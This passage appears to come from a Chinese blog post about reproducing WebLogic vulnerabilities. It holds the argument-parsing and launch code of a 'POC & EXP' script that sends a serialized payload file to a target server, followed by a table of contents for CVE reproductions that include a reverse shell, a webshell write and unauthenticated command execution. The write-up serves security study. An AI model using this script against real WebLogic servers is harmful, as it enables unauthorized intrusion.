parser = argparse.ArgumentParser(description='WebLogic POC & EXP Basic Script',add_help=True)
parser.add_argument('-u','--url',default=None,help='WebLogic服务器ip',type=str)
parser.add_argument('-p','--port',default=7001,help='WebLogic服务器端口(默认7001)',type=int)
parser.add_argument('-f','--file',default=None,help='payload序列化数据文件',type=str)
args = parser.parse_args()

if args.url and args.file:
try:
target = WebLogic(args.url, args.port, args.file)
target.poc()
except Exception as e:
print("Something ERROR!")
print("[ERROR]: " + str(e))
exit()

image-20210222125521221

漏洞分析 [暂且搁置]

害怕,师傅分析的文章,需要有很多东西提前了解学习

先看完,这两篇再说

JAVA反序列化 - Commons-Collections组件 - 先知社区 (aliyun.com)

Java安全之初探weblogic T3协议漏洞 - 安全客,安全资讯平台 (anquanke.com)

CVE-2021-2109 远程代码执行

SSRF

漏洞分析

漏洞复现

Weblogic 常规渗透测试环境

CATALOG
  1. 1. Weblogic 漏洞复现
    1. 1.1. 参考文章
    2. 1.2. Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞(CVE-2017-10271)
      1. 1.2.1. 原理分析
      2. 1.2.2. 漏洞复现
        1. 1.2.2.1. 判断
        2. 1.2.2.2. 反弹shell
        3. 1.2.2.3. 写入文件 (访问:http://127.0.0.1:7001/bea_wls_internal/test.jsp)
    3. 1.3. CVE-2018-2628 Weblogic反序列化
      1. 1.3.1. 原理分析
      2. 1.3.2. 漏洞复现
    4. 1.4. Weblogic 任意文件上传漏洞(CVE-2018-2894)
      1. 1.4.1. 漏洞分析与环境
      2. 1.4.2. 漏洞复现
    5. 1.5. CVE-2020-14882 weblogic 未授权命令执行复现
      1. 1.5.1. 影响版本
      2. 1.5.2. 漏洞复现
      3. 1.5.3. 漏洞分析
        1. 1.5.3.1. 调试Debug环境搭建
        2. 1.5.3.2. RCE部分
          1. 1.5.3.2.1. ShellSession利用
        3. 1.5.3.3. 未授权访问url部分
          1. 1.5.3.3.1. 找到未授权的路由
          2. 1.5.3.3.2. 分析路由设置,
          3. 1.5.3.3.3. 触发handle
    6. 1.6. CVE-2020-14825 Weblogic反序列化漏洞复现
      1. 1.6.1. 影响版本
      2. 1.6.2. 环境搭建与漏洞复现
        1. 1.6.2.1. 环境搭建
        2. 1.6.2.2. 漏洞复现
      3. 1.6.3. 漏洞分析 [暂且搁置]
    7. 1.7. CVE-2021-2109 远程代码执行
    8. 1.8. SSRF
      1. 1.8.1. 漏洞分析
      2. 1.8.2. 漏洞复现
    9. 1.9. Weblogic 常规渗透测试环境